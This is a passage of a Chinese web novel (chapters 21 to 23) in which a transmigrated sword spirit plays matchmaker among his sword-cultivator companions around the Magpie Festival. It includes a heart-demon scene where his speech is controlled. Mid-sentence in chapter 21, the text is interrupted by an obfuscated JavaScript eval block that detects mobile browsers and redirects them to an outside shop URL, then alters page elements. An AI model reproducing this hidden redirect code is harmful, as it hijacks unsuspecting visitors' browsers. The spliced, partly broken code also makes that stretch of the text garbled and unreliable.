贺果知想了想,单方面把秦飞情开除这本万人迷小说的攻籍。 以后再见秦飞情,他不会嗑死对头了,秦飞情伤霍闻星至此,他就是反派! 这次霍闻星和谢振涛重伤,与他看的情节不同,这让贺果知心中忧虑。 贺果知正蹙眉思索,听到很轻的开门声,看到过来的裴连卿。 与往日不同,裴连卿提着食盒,眉眼间笼罩一层郁色。 贺果知对上裴连卿的视线。 裴连卿一顿,先笑了一下,眉眼间的郁色散去,温声:“想着你醒了会过来,饿了吧,来吃点东西。” 他看向霍闻星,道:“不用担心,我和大师兄轮流来照看,他的伤势已经稳定下来了,只是在昏睡。” 贺果知是剑灵,他会饿也会累,但他的饥饿和疲劳,可以用吃掉霍闻星的灵力还缓解。贺果知当了十几年的人,比起吃霍闻星的灵力,还是更喜欢灵气充裕的美食。 一碗鱼汤喝下去,贺果知感觉他整个人都活过来了,四肢暖洋洋的。 贺果知眯起眼。 感受到落在他身上的视线。 “连卿,你怎么了?” 往常裴连卿都是和他一起吃,今日却是看他吃,自己都没怎么动筷子。 裴连卿笑了一下:“想起些事……不过不是什么大事,别担心。” 贺果知想了想:“那你有什么说出来,别憋着。” 裴连卿:“好。” 裴连卿说别担心,贺果知还是想了一下剧情,大概猜到裴连卿为何如此。 裴家是仙洲世家之首,裴连卿作为少主被给予厚望。而裴家所图也更多,它不止想做世家之首,还想成为整个仙洲之首,号令天下。裴连卿此时,夹在家族和剑宗之间。他一直所背靠的家族,在逼迫他做出选择。 此时的裴连卿还没意识到,煊赫的名声地位,让裴家的欲望膨胀,近乎成为一架失控的马车。当他意识到的时候,他会去拉住裴家失控的缰绳。 那个时候,裴连卿就不会如现在一样住在剑宗了。 起初贺果知担心情节改变,霍闻星他们会什么危险,慢慢的,他松口气,剧情似乎也没太大偏移。 霍闻星闭关一年,贺果知跟着霍闻星闭关一年,一年后霍闻星也从金丹突破至元婴。之后他们去仙洲各处的秘境,以及完成宗门任务,谢振涛和霍闻星分别成为执法峰、玉尘峰的首席弟子——这和他看到的原著情节是一样的。 一晃五年过去,无论是霍闻星还是裴连卿,都从昔日的少年,长得比贺果知还要高了。 21. 第21章 贺果知打个哈欠,掀开床幔看了眼。 明亮的光从窗子投射进来,算时间应该是巳时。 贺果知在床上趴了会儿,慢吞吞起来,把床榻收拾好,床幔也挂好,把自己收拾好后来到院子里。 院内石桌上摆着清粥小菜,用法术保存着,温度适宜。 贺果知在桌边坐下来。 霍闻星去问道峰了,贺果知没跟着一起去。剑宗各峰首席弟子,轮流给师弟师妹们解答修炼上的疑惑,今日轮到霍闻星。 粥是小米粥,熬得浓稠软烂,喝起来有一股清甜的味道。 吃着热乎的早饭,贺果知在心中感谢裴连卿。 裴连卿家中有人来,还不忘买了早饭投喂他们。裴连卿像是贺果知大学时宿舍的老大,各种照顾他们。 是的。 他们。 早饭裴连卿买的是四人份。 贺果知喝着粥,一道人影晃过来,在他身边落座。 看到来人,贺果知习惯地要挪一个位置,以此躲避男人身上的酒气。 他要躲,那人却早有预料,拽住贺果知的手腕。程相烽的眼型锐利,此时他耷拉着眼皮,散漫道:“躲什么,昨天没喝酒,只是今日睡过了。” “真的?”贺果知不信。 程相烽:“不信过来闻。” 贺果知没过去,程相烽喝的酒都是灵酒,即使隔得远也能闻到酒沾染的酒香。他没闻到,程相烽的确没喝酒。 一番拉扯,两人坐在石桌边吃饭。 贺果知最近正在被一个问题困扰,即使小米粥足够美味,他还是为这个问题烦恼。 ——他看的书中的主角受霍闻星长大了,成年了,但和文中描述的一点都不一样。 原著里的主角受霍闻星少年身量,高挑清瘦,是个清冷出尘的大美人。而他看到的霍闻星,身高腿长、宽肩窄跨,一米九多,高冷淡漠。也是大美人,但和书中比,相当于“壮受”? 长年练剑,肌肉线条修长紧实。 贺果知一开始还没发现,毕竟天天看。有天他撞到霍闻星洗澡,看到后者赤.裸上半身的样子,突然发现不太对。 比如说,单从体型来看。程相烽和霍闻星,攻君和受站在一起,谁压谁还不好说。 怎会如此? “偷看我做什么?”程相烽给他夹了一个炸麻球。 贺果知挺爱吃这个的。 “而且你的眼神,怎么看起来有点奇怪?”程相烽问。 哪里是奇怪,他是担忧。 不过……好像也挺好磕的? 贺果知突然小脸通黄。 都是肌肉紧实流畅的身躯,碰撞在一起,晶莹的汗珠顺着喉结滴落。两个人势均力敌,都想让对方溺死在这样灼热的氛围里面。 “想什么?”程相烽曲指在贺果知额头上敲了一下。 “没什么。”贺果知回过神瞪程相烽一眼。 敲什么,他的脑门又不是核桃。 程相烽被他瞪,反而勾唇笑了一下。 贺果知还记得他刚穿来没多久,因为他和寻常剑灵不同,程相烽对他有极大的敌意,直到宗嚣认可他才好了许多。五年下来,程相烽已经不怀疑他了。 就是手欠。 算着日子,贺果知想起来,按他看的剧情看,仙洲的鹊仙节要到了。书中叫鹊仙节,其实就是七夕。贺果知可太期待这个情节点了,因为——主角受已经成年了! 可惜的是,这几章一看就有大糖的情节,在绿江锁了。当初贺果知看的时候,只能含泪跳过。 不过此时,攻君之一的程相烽就在他面前,他可以直接问啊! “大师兄。”贺果知喊人。 “嗯?”程相烽扫过来一眼。 “鹊仙节你准备和心上人怎么过?”贺果知问。 大约是日头逐渐升起,阳光有些刺眼,程相烽眯了下眼,眼神仿佛洞穿人心,他问:“你怎么知道我有心上人?” 嘿。 当然是因为他看过原著。 贺果知自信:“我就是知道。” 贺果知凑到程相烽身边,招手让程相烽过来,小声:“大师兄,你告诉我,我保证不告诉他。” 程相烽的视线,在贺果知白净的脸上一扫:“嗯……和他逛逛山下的青锋城,鹊仙节那天应该挺热闹的,再和他去放个河灯。” 贺果知想了一下画面。 人流如织,并肩走着的两人,一个人的手指碰到另一个人,手背再碰到手背,然后顺理成章牵个手。 情之所至,在花灯中烟花下接吻什么的…… 霍闻星都成年了。 他脑子里的黄色废料也变多了。 不过贺果知也就是想想,真到了那个时候,他一定第一时间背过身去。就和绿江都市文里的司机一样,该下车的时候下车,多懂事。 他可是懂事的剑灵。 “大师兄,相信你一定可以,让心上人开心的。”贺果知听完,给程相烽打气。 他没看到锁的原著剧情,但原著很大可能不会像他想的这样,毕竟霍闻星修无情道,程相烽表白恐怕当场会被拒绝。 吃完早饭,程相烽去清平峰接任务。贺果知把廊下的躺椅搬到树下,在树下乘凉看话本。 晚上,贺果知透过窗子,看到踏着月色回来的裴连卿。 “连卿。”贺果知喊了一声,从屋里跑出去。 贺果知来到裴连卿跟前:“这么晚才回来。” “给你留了桂花糕,放你桌上了。” 剑宗食肆的桂花糕很好吃,但每日限量,买的时候需要排队。裴连卿晚上有事,贺果知排队去买的。 “好。”裴连卿道,“一会儿吃。” 裴连卿神色温润,月色下越发衬得他光风霁月。 一个光风霁月,一个高冷出尘,站一起,绝配。 贺果知浅嗑了一下裴连卿和霍闻星的颜。 贺果知看出裴连卿眉眼间的倦色,知道他为什么烦恼,忙了一天。贺果知说:“不早了,你好好休息,我先回去啦。” “等等。”裴连卿拉住霍闻星的手腕。 “可以陪我说会儿话吗?” 当然可以,贺果知跟在裴连卿身后飘回他的房间。 他们吃着桂花糕说话。 半晌后,贺果知不得不打断裴连卿:“你只想和我说这个?” 裴连卿说的都是什么啊,问他今日的早饭合不合口味,看话本的内容,一句也没说他自己的事。 裴连卿沉吟一下:“似乎是我一直在问你,那你有什么想问我的?” 贺果知想了想,斟酌道:“今天你去见家里人了?但你看起来有些累。” 裴连卿垂下眼,笑容有些无奈:“是啊。不过别担心,我能处理。” 裴连卿说的时候,贺果知一直在观察他的神色,察觉到裴连卿似乎不愿意多言,于是贺果知换了一个话题。 他超想问这个的! 贺果知:“鹊仙节你准备和心上人怎么过?” 裴连卿一顿,温柔的目光落在贺果知脸上,轻轻笑道:“这都被你看出来了?” 那是。 偶尔裴连卿看霍闻星的目光都很专注,像是思索什么。贺果知看过原著,当然知道这目光是什么意思,那是喜欢! 贺果知嗯了一声。 裴连卿:“想给他做顿饭吃吧,挺想让他吃我做的东西的。” 贺果知心中赞许。 裴连卿不仅会吃,而且手艺超绝,做出来的美食都很好吃。 “看着他吃,心里会很满足。”裴连卿说。 他也满足。 贺果知想。 静谧的月色下,裴连卿和霍闻星远离鹊仙节时青锋城的喧嚣,就在这方竹舍里,无人打扰。 又磕到了。 接下来会怎么发展,发展成绿江要红锁的情节?两个人都喝了酒。众所周知,喝了酒容易冲动,上头。 嘿嘿。 贺果知想着,推开门,感受到一道冷淡的注视落到他身上。 结束练剑的霍闻星回来了。 他刚把剑放到枕边,看到贺果知,淡漠回眸。 那目光有点冷。 “去裴师弟那里干什么?”霍闻星问。 贺果知飘过去,仰头看人。 寻常剑灵随着年岁的增长会长大,可他穿过来什么样,现在还是什么样,这五年一点都没变过。也是因此,他慢慢从低头看少年,变成平视,到现在仰头。 他一米八也不低,但都比他高。 霍闻星的眼神冷,语气也冷,贺果知浅浅被冻了一下。 怎么回事,一副老婆跟别人跑了的语气。下一瞬,贺果知恍然大悟,哪里是老婆跟别人跑了,这应该是吃醋了吧! 虽然霍闻星修无情道,但只是感情淡漠,不是无欲无求。他也许还不明白自己的感情,但对喜欢的人,也是有占有欲,也会吃醋。 贺果知:“连卿有点不开心,和他随便聊了会儿。” 霍闻星:“聊的什么?” 贺果知:“也没什么,美食话本什么的。” 还有最重要的,鹊仙节的事,但贺果知可不会说。 “对了。”贺果知脱掉鞋袜上床,喊住霍闻星。 霍闻星停下,回身:“怎么?” 贺果知:“鹊仙节那天,你有什么事吗?” 鹊仙节就在三天后,很快了!贺果知这么问,是担心眼前这个无情道卷王跑到清平峰接任务,刚好把这天错过。虽说贺果知知道的剧情没偏移太多,但贺果知还是有点担心。 “没有。”霍闻星扫了贺果知一眼。 衣摆下方,是一双白玉似的脚,足弓一只手就能握住。他弯腰,把被子拉过来盖住。 看到霍闻星的动作,贺果知心里暖暖的。果然是看着长大的少年,就是贴心,怕他冷会给他盖被子,有次他睡迷糊了找水喝,没穿鞋,也是霍闻星把他抱到床上。 贺果知:“很好,那就这样保持。” 霍闻星:“那天你有事找我?” 贺果知:“我?没有啊。” 贺果知想,是你老攻有事找你。已知的有程相烽、裴连卿,谢振涛还有师尊他没问,还有魔尊……啊不对,魔尊已经被他开除攻籍了,这个不算。 翌日下午,贺果知继续当咸鱼,边看话本边把自己翻个面。 叮铃。 叮铃。 贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289159|140122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果知听到铃铛的声音。 抬头看到带着面具的男人。这么面具人,分明是…… 贺果知看到来人,心中的警报立刻拉响,却在对上面具后的眼眸时,仿佛被一只无形的压住,他生不出丝毫警惕。 贺果知坐在躺椅上,看面具人向他走过来。叮铃的声音……是挂在面具人腰上的铃铛发出的。 贺果知的眸光,移动到面具人腰侧的铃铛上。 “好久不见。”心魔含笑的声音响起。 近乎一字一顿。 贺果知完全没反应过来,抬眸看向来人。他认识他吗……?为什么说好久……不见……? 正思索着,贺果知落入一个暗香浮动的怀抱。 心魔很轻松把青年抱到怀里,埋到他的颈间,去嗅他的味道。 抱? 等贺果知反应过来,去推人,却发现完全推不动。他蹙起眉。 心魔:“宗嚣真是把你护得很好,整整五年都没让我见到你。” 贺果知一点都没听心魔在说什么,他的思绪还迟钝地停在,他不想让人抱这里。 心魔笑了一声:“不过,今日还是让我找到机会了。” 贺果知推不开,于是攥拳在心魔的肩膀上打了一下。 “松开。”贺果知说。 语调都比平时慢,听起来像是含了糖,黏黏糊糊的。 “不松。”心魔说。 “那几个剑修,你喜欢谁?霍闻星,裴家那位少主,执法峰的谢振涛,你的大师兄,还是宗嚣?”心魔一连说了几个名字。 贺果知全都听清了,并且思绪也恢复平常的速度。回过神,他看到近在咫尺的面具人,不对,是秦飞情的心魔! 贺果知心头巨震,却被心魔握着两个手腕,抱到腿上。 “我谁都不喜欢。”贺果知听到他自己的声音。 什么?! 贺果知完全没想说这句话,但这句话脱口而出。 “真的?”心魔抬眸看他。 贺果知:“当然是真的,我不喜欢他们。” 心魔:“不会和他们结为道侣?” 贺果知:“我为什么要和他们结为道侣?” 心魔再次把几人的名字重复,问贺果知。 贺果知把几个名字重复,再次告诉心魔:“……不结为道侣,也不喜欢他们。” 虽然说出的话不受贺果知控制,但他说的却是真心话。贺果知是穿来的,他也不知道自己会不会穿回去。要是他喜欢谁,和谁在一起,不知道哪天穿回去了,那被他留下来的人岂不会很难过。 心魔像是困惑:“可你和他们的关系很好。” 贺果知:“当然,我是是朋……” 话没说完,贺果知突然回到剑里面,剑柄被握到手中。 行动恢复自由,贺果知连忙用手擦了一下脖子。心魔刚才埋在那里,蹭得他脖子有些痒。用剑的视角,贺果知看到外面发生的事。 心魔坐在躺椅上,看了眼御剑回来的三人,似笑非笑:“来得还挺快。” 三名白衣剑修立在剑上,各自占据一个方位。 程相烽笑了一声,嘲道:“是不是秦飞情太无能,把你这个心魔送到剑宗来,借剑宗的手除掉你。” 心魔却睨着他,弯起面具下的狐狸眼,道:“嗯?是如何,不是又如何。你这么说,是因为听到了让你生气的事情吗?” 程相烽唇边挂着的笑意,冷却下去。 裴连卿:“大师兄,不必和他多言。” 心魔睇过去一眼,对上裴连卿的视线。 平日裴连卿都是神色温润,此时神情却很冷。无需多言,心魔知晓裴连卿为何如此。 因此,面具下他唇边的笑意,更是提起几分。 刷—— 他正欲说什么,一道凛冽的剑气落下来,心魔打开折扇,抵挡。这把折扇不是秦飞情常用那把,但也是九品的法器,此时却裂开一道口子。 心魔看了眼毁掉的扇子,也没恼怒。 眼前三人如此,当然是因为听到心魔和霍闻星的对话。 不结为道侣,也不喜欢他们。 心魔控制了贺果知的心神,贺果知说的都是实话,没有半分掺假。 心魔出现,贺果知沾上魔气,霍闻星他们察觉赶回来,并不奇怪。因为五年过去,他们三人都是化神期的修士。 面具人虽然是秦飞情的心魔,但他的修为比秦飞情差了不少,对上霍闻星三人占不到什么好处,用铃铛碰了一下贺果知的剑身之后遁走了。 “还好你们回来了。”贺果知给霍闻星传音。 “嗯。”霍闻星淡淡应了一声。 似乎语气有点沉。 贺果知思索片刻,了然。剑宗守备森严,心魔却自由出入,霍闻星他们三人在这里,依然被心魔逃走了。 秦飞情的心魔出现,贺果知决定在剑里呆几天,这样比较有安全感,而且鹊仙节到了。在剑里面,那是前排vip的观看位置。 贺果知准备好点心瓜子茶水。 满心期待。 他看的原著,在鹊仙节这段情节,是被绿江红锁的,他没看到。 当然,在必要的时候,他会把自己背过去的! 22-30 第22章 第22章 四周一片黑暗, 但灵力充沛,这是剑里面。 温暖、舒适,像是在泡温泉。 太舒服了。 舒服得贺果知一点都不想动。 之前他给霍闻星说过剑里面又冷又硬, 他不想在剑里面,霍闻星既然能让他不晕, 那能不能想办法让剑里面舒服一点。经过一年多的努力, 霍闻星成功让剑里面舒适起来。 灵体的每一处都暖洋洋的,像是按摩,贺果知困意上涌。 等等…… 剑里面舒服, 但他是不是忘了点事? 贺果知想起来了, 今日是仙洲的鹊仙节。 贺果知想出去, 他有话和霍闻星说。 剑里这么舒服,还有一个原因是此刻正被温养在霍闻星的丹府之中, 他如果出去, 会直接坐在霍闻星的怀里。霍闻星少年的时候,贺果知还会突然出现, 然后把人抱个满怀吓他一跳——当然大多数时候霍闻星八风不动,淡漠睁开眼看他。现在少年都长大了, 贺果知不能太胡闹, 得保持距离。 贺果知传音:“老霍, 你把剑拿出来, 我想出去。” 贺果知感受到, 霍闻星把剑从丹府内拿出来,放到桌上。 贺果知从剑里面飘出来。 这是位于窗边的软榻,中间放了张茶几, 霍闻星在一边,贺果知在另外一边。 茶几上, 备着点心茶水。霍闻星不吃这些,这些都吃给贺果知准备的。 贺果知不由得感慨,霍闻星和裴连卿从小就会照顾人,一不留神都被照顾这么久了。他想吃什么想玩什么,几乎随手都能拿到。 贺果知吃了一个樱桃煎,酸酸甜甜的,很好吃。 此时已近日暮,透过窗子能看到日落西沉。 贺果知问:“老霍,你怎么还在竹舍,你不去青锋城吗?” 鹊仙节晚上的青锋城最热闹,他们这出的竹舍外,偶尔能看到相携路过的修士,都是晚上去青锋城玩的。 按理来说,霍闻星今日会很忙,毕竟程相烽、裴连卿、谢振涛这三人,应该都约霍闻星过节。三个攻君,但是霍闻星只有一个,三年一次的鹊仙节,那攻君们为了约霍闻星还不要打起来,贺果知已经准备好看这样的场面了! 贺果知想,估计是他们约霍闻星时,他刚巧在睡觉,所以没听到。但看时辰也差不多了,霍闻星怎么没动静,而且也没谁过来? 这不对劲啊。 霍闻星看他,淡漠道:“你想去?” 啊? 贺果知呆了一下,手中的樱桃煎差点掉了。 贺果知:“不是我想去,是你不去吗?” 霍闻星:“不去。” 言罢闭上眼,继续调息。 贺果知看着霍闻星想,长大了,感觉更冷了一下。以前像个雪团子,现在冷冰冰的。 霍闻星这个回答,给贺果知整不会了。几天前他还问过程相烽、裴连卿,他们都要约霍闻星的。 贺果知正想着,院门敲响,一袭黑衣的剑修进来。 “谢师兄来了。”贺果知说。 霍闻星睁开眼。 谢振涛剑眉星目,像是一把未出鞘的剑。贺果知飘过去开门把人迎进来,看到谢振涛走过去。 贺果知内心期待,要,约会了! 谢振涛:“师弟可有时间,想和师弟切磋一下。” 切什么,切磋??? 贺果知怀疑他听错了,随后心中泪流满面,这就是武痴吗,眼里只有打架什么都没有,他还以为谢振涛是开窍了。 贺果知安慰自己,他可以理解,毕竟一个是武痴,一个修无情道,他看原著时,就得使劲儿抠糖才行。换个角度想,为什么不是昨天,明天来约去切磋,偏偏是今天,一定是鹊仙节看到大多人成双成对,内心有了波动,才做这样的选择。 这样的切磋,霍闻星都会答应,贺果知准备飘回剑里面。 “今日有事,改日再切磋。”霍闻星淡漠抬眸,看向谢振涛。 寂静。 一时两个剑修都没有说话。 这个感觉很奇怪,像是他们有什么心照不宣的东西,彼此知道自己的意思。但氛围似乎有些不太对,有点剑拔弩张的感觉。 贺果知嗑了一口。 这就是经常切磋带来的默契吧,我知道你的想法,你也知道我的想法,你我之间无需多言。 挺好嗑的,就是不知道他们在“心照不宣”什么,好想知道啊。 短暂的沉默后,谢振涛道:“好,改日再约。” 谢振涛和他们聊了会儿天,起身告辞。贺果知想了想,飘了出去在谢振涛身后。 “我去送送谢师兄。”贺果知说。 他这句话是给霍闻星说的。贺果知没看到,剑修长眸注视他的背影,冷淡的眸光凝在他的背影上,眼神沉了几分。 谢振涛和他往外走,闻言睨过来一眼:“都这么熟了还用送吗?” 贺果知反手把竹舍的门关上:“要的要的,不过其实有话给谢师兄说。” 他们往外走。 谢振涛:“什么话?” 贺果知想让谢振涛明白一点自己的心意,而不是喜欢谁只找谁切磋。一直不明白,感觉有点虐。 贺果知:“谢师兄,你有没有发现,剑宗这么多人,你总是找老霍切磋。” 谢振涛看着身边的剑灵,不动声色放慢脚步,答道:“霍师弟在剑道上的造诣首屈一指,我想找他切磋。” 贺果知:。 真是武痴的思考方式! 贺果知:“这么说来,老霍对你应该挺特殊的。” 谢振涛:“特殊?” 贺果知:“就算他剑道造诣高深,非要找他切磋吗?其实是你内心认定他,将他当作‘对手’,或者别的什么,潜意识认定了他,才会不断这样选择。” 贺果知说完,认为谢振涛会陷入沉思。在他看到的原著中,谢振涛执着于找霍闻星切磋,内心也是这样想的,可身体却很诚实,认识霍闻星之后,只愿意找霍闻星切磋。 谢振涛是原著作者盖章认定的攻君,对他而言,他想找霍闻星切磋,实际上是“认定”的表现。 一个武痴,怎么会想过“认定”“特殊”这样的问题,陷入思索是必然是。 因此,说完贺果知准备走了,把思考的空间留给谢振涛。 “你怎么知道我这样想过?”谢振涛抓住贺果知的手腕,把人拽回来。 此时贺果知刚给谢振涛道完别,转身离开,被拽回来懵了一下。 “你想过?”贺果知不相信。 谢振涛拉着他的手腕,没有放开,冷峻的眉眼,有些罕见地浮现出笑意,垂眸看着贺果知说:“想过的。” “一开始不明白为什么想找他切磋,被他拒绝了很失落,觉得和别人切磋也没什么意思。” 贺果知一听,唇角根本压不住。 这是他嗑的CP在贴脸发糖! 这个神情,分明就是在提起喜欢的人时才有的。 贺果知期待:“然后呢?” 谢振涛:“如你所说,他对我是特殊的。” “但是,他似乎不喜欢我。”谢振涛斟酌着,“我执着于剑道,他似乎也有执着的东西。所以,像是看不到身边的人。” 说着,剑修眸中的神色暗下去。 晦暗难辨。 贺果知完全不记得,在五年前,谢振涛说出和他切磋的事,被他拒绝了。 贺果知心中有些疑惑,在他看的原著中,谢振涛一直都是用找霍闻星切磋的方式来接近霍闻星,满足内心对靠近霍闻星的渴求。他不明白自己的感情,但身体早已先于想法。 原著几百万字,谢振涛都没明白,现在居然明白了? 这个疑惑在贺果知心头一闪而逝,这不重要,重要的是,谢振涛此时向贺果知表达的担忧。 他懂。 谢振涛说的就是霍闻星的无情道! 无情道性情淡漠,近乎断情绝爱,谢振涛对霍闻星有这样的感觉,一点都不奇怪。 贺果知:“那又如何?” “你可以追他啊,对他表明你的感情。你不追,一直不说,他怎么知道?你也说了,他像是看不到身边的人,你再不主动一些,那他怎么知道?” 谢振涛:“他生气怎么办?” 如果谢振涛是贺果知在现代的朋友,那要考虑的全面一点。但贺果知知道,谢振涛是攻君之一,他和霍闻星算是命中注定。 所以贺果知想也不想:“哄他。” 谢振涛垂下眼,眸光落在贺果知脸上,不知为何心情似乎很好,笑了一下:“嗯,那我考虑一下。” “怎么追。” 贺果知回去了。 这波操作,他可以加个鸡腿! 推开院门,回到小院里,贺果知看到倚在墙边的程相烽,目光在程相烽和霍闻星在的方向看了一圈。 程相烽倚的位置,刚好在窗边。不用说,这是在和霍闻星说话,说的内容,当然是约霍闻星去青锋城。只是…… 贺果知不解:“大师兄,你什么时候回来的?” 程相烽不在竹舍,他刚才和谢振涛在院门外说话,都没看到程相烽进来。 “你和谢师弟在院门说话,看起来是很重要的事。”程相烽一哂,“怎么能打扰你们,所以我翻墙进来的。” 贺果知:“你在阴阳怪气?” 程相烽:“没有。” 贺果知:“……” 这语气,都把阴阳怪气写在脸上了,就是不知道在阴阳怪气什么。 贺果知懒得想,往竹舍里走,程相烽过来拦住他,扬声道:“二师弟,你家剑灵我借一下,等会儿给你送回来。” 贺果知:“你借我干什么?” 程相烽:“有事。” 他们在这低声交流,一道清冷淡漠的声音响起:“你要带他去哪儿?” 程相烽扬声:“青锋城。” “放心,全须全尾带回来。” 说着,牵着手腕拉到剑上,御剑带贺果知走了。 第23章 第23章 青锋城背靠剑宗, 是仙洲最繁华的城池之一。此时已近日暮,城内灯火辉煌,彩灯高悬。因为是鹊仙节, 没走几步就看到卖灯的,卖花的, 很是热闹。 “来青锋城干嘛?”贺果知问。 此时他们到了, 程相烽的剑停下来。程相烽先下来,也不等贺果知跳,直接把人抱下来。 贺果知轻轻皱眉, 一路都在想这不对劲, 程相烽不应该和霍闻星来青锋城吗, 怎么带他过来这个问题。再加上和程相烽相熟,抱这样的动作并不抗拒。他回过神时, 已经站到地上了。 程相烽:“不想来玩?” 这么热闹, 当然想啊。 街上有杂耍的、皮影戏、猜灯谜的,还有各种各样的灯, 远处画舫小舟。 贺果知:“想。” 程相烽一笑:“那不就行了。” 贺果知:“行什么?不行。” 大概是程相烽时常逗他,会惹贺果知生气, 有时候贺果知和程相烽说话听起来会凶一点。 但他以为的凶, 在旁人看来, 实在是算不上。路过的一个女修看到他这样, 抿唇笑了起来, 也不知道在笑什么。 贺果知认为他语气有点凶了,缓了缓,说:“那日我问你, 你说要和心上人在鹊仙节来青锋城。今日你带我来,是什么意思?” 是了, 这是贺果知不解和担忧的地方。 他盯着程相烽,需要程相烽给他一个回答。 程相烽一时没说话,只是垂下眼看贺果知,还是一副散漫的样子。 像是这个问题不是很重要,他笑着,哦了一声,说:“这一路这么沉默,原来你在想这个。” 程相烽:“因为我想问你一个问题,我想等你心情好了再说。来玩的话,你的心情会很好。” 贺果知:“你想问什么?” 程相烽:“现在说吗?” 贺果知:“现在。” 程相烽掀了下眼皮:“那我说了,你别生气。你心悦二师弟吗?你们朝夕相对,比旁人有更多相处的时间。” 程相烽散散漫漫笑道:“我真的挺在意的。” 贺果知一怔。 这是什么问题。 贺果知想了想:“你吃醋?” 程相烽:“嗯。” 贺果知认认真真说:“我不心悦他的。” 程相烽扯了下唇,像是在笑:“嗯,那就行了。就是想问你这个问题,问完了,走吧。” 贺果知还是有点疑惑,边和程相烽往城里走边问:“为什么非要来青锋城说,在竹舍也可以。” 程相烽面不改色:“他修无情道,我邀他来他怎么会答应。那日和你说,只是那样想罢了。” 贺果知猝不及防吃了好大一口糖。 这不就是,间接表白了吗! 没关系的,贺果知想。 毕竟霍闻星是绿江的无情道。 贺果知:“老霍他只是性情淡漠,并非断情绝爱。” “大师兄,你的勇气呢?” 程相烽:“被狗吃了。” 贺果知:“……” 贺果知:“越喜欢越小心吗?” 程相烽:“差不多。” 因为小心,所以不敢莽撞地有什么行动,不敢邀请喜欢的人来青锋城,一起过鹊仙节。 程相烽是这样展现给贺果知的。 街道繁华,贺果知很快被提灯吸引,往那边走。 挂着灯的地方明亮,没有灯的地方则有阴影,程相烽落后他半步,俊美的五官隐在灯光没能照亮的阴影之中。 贺果知似乎认定程相烽喜欢霍闻星,起初程相烽并没有看出来,但一切有迹可循,比如在院子里,贺果知的目光在他和霍闻星之间打转。 程相烽也的确是小心的,但他的小心和贺果知以为的并不完全相同。他还是把人带到青锋城了。 至于他刚才说的那段话,则是因为几天前,程相烽亲耳听到贺果知所说的。 不喜欢他们。 任何一个。 程相烽很快走到贺果知身边,拿了一个兔子提灯,放到他手里:“这个可爱。” 贺果知低头看了看:“是挺可爱的。” 一路走一路逛,贺果知手里多了不少东西,糖人、提灯,他们还在河边放了河灯,许愿。 玩够了,天也彻底暗下来。本想去城中酒楼吃点东西,收到裴连卿传信,于是程相烽御剑带贺果知回去。 他们回到小院,裴连卿在院子里石桌上摆好席面。 月光下的白衣剑修,眉眼温润,光风霁月。 裴连卿回头笑道:“回来了,来吃饭。” 贺果知和程相烽在外面玩,早过了晚饭时间,此时吃算是宵夜。 最近几年,裴连卿的手艺越发好了,色香味俱全,贺果知很难不被吸引。 程相烽走过去,看了眼,散漫笑了,像是玩笑:“小师弟,今日是鹊仙节,你做这一桌子灵食,是给谁吃的?” 好问题! 贺果知侧耳倾听。 他也想知道这个问题的答案。 裴连卿:“原本只想做两个人的,但某人总是蹭饭,我不得捎带上。带上你了,总不能把二师兄落下,索性一起。” 裴连卿温柔笑着,那笑意却不达眼底。 “鹊仙节,刚巧赶上了。”裴连卿说。 裴连卿说的“某人”那就是程相烽了。裴连卿说刚好赶上,那也说得过去,因为裴连卿隔三岔五就会做灵食。 贺果知听到,心中暗想这是裴连卿的托词,因为前几天他问过裴连卿了,裴连卿说的是想给心上人吃。 怎么成为四个人的了? 这只是一个小插曲,和之前许多次一样,他们四个一起吃饭喝酒。 ——都成年了,喝点酒也没什么。 裴连卿准备的酒是一种果子酿的甜酒,甘甜,酒味比较淡,贺果知挺爱喝的。 贺果知和程相烽在青锋城玩得还挺开心的,想偷偷多喝一点,趁着三人没注意,用法术把酒壶拿到手里,想给自己多倒一点。 一道含笑有些无奈的声音响起:“果汁,你不能多喝。” 贺果知的手一僵。 他对面的程相烽直接用个法术,把他手里的酒壶拿走了,然后倒到自己的杯子里。 霍闻星看了他一眼,把冰镇桂花酸梅汤放到他手边。 贺果知:“……” 这就是师兄弟吗,这么默契,贺果知在心中吐槽。 首先,裴连卿告诉他不可以,然后程相烽拿走,最后霍闻星给了他替代的饮品,一气呵成,中间都没有商量! 好吧。 其实是相似的场面发生过好几次。 果子酒甜甜的很好喝,可贺果知的酒量实在太差了,一点都会喝醉,所以霍闻星他们三人都不让他多喝。 贺果知一直没明白,喝醉也没什么,难道是他太闹腾了?他问他们,他们都说没有。贺果知也想不起来醉酒发生的事。 不让喝就不让吧,反正桂花酸梅汁也挺好喝的。 一起吃完饭,贺果知溜到厨房,在厨房内找到做饭后甜品的裴连卿。 裴连卿做的是“酥山”,相当于古代版的冰激凌,看到他进来,把刚做好的那个递给他:“刚好,第一个给你。” 贺果知用勺子舀着吃了一口,冰冰甜甜,味道超赞。 他夸赞:“连卿,你的手艺真是越来越好了。” 裴连卿:“你喜欢就好。” 贺果知:“对了,上次问你,你说鹊仙节这天做饭给心上人吃,怎么今日,你又做了四人份的。” 裴连卿凝视着贺果知白净的脸,笑道:“他是兔子,如果我做出超越友谊的事,他会被吓跑的。” 贺果知拿着勺子的手一顿,瞳孔地震:“在你眼里,老霍像兔子?!” 裴连卿一怔,像是没想到贺果知这么说,一时没回答。 贺果知把裴连卿的怔愣,理解为他说出他心中所想,忙说:“你放心,我不会告诉他的。” 裴连卿似乎回过神了,嗯了一声:“所以两人的变成四人,他也吃到我精心准备的饭菜了,也不错。” “至于其他的……” 说着,裴连卿忽然倾身,手臂近乎撑在贺果知身侧,把人困再怀里,他垂下眼,看向贺果知。 贺果知靠着厨房的桌案,用勺子舀裴连卿做的酥山吃,一顿。 裴连卿温柔笑道:“来日方长。” 说着,他从贺果知身后拿了一个小玉碟。 原来是要拿放酥山的小碟子。 贺果知完全没放心上,继续吃他手上端着的酥山。 贺果知回到竹舍,发现霍闻星并不在。他端了两个裴连卿做好的酥山回来,一个自己吃,一个是留给霍闻星的。 贺果知边看话本,很快把他的那个吃完了。 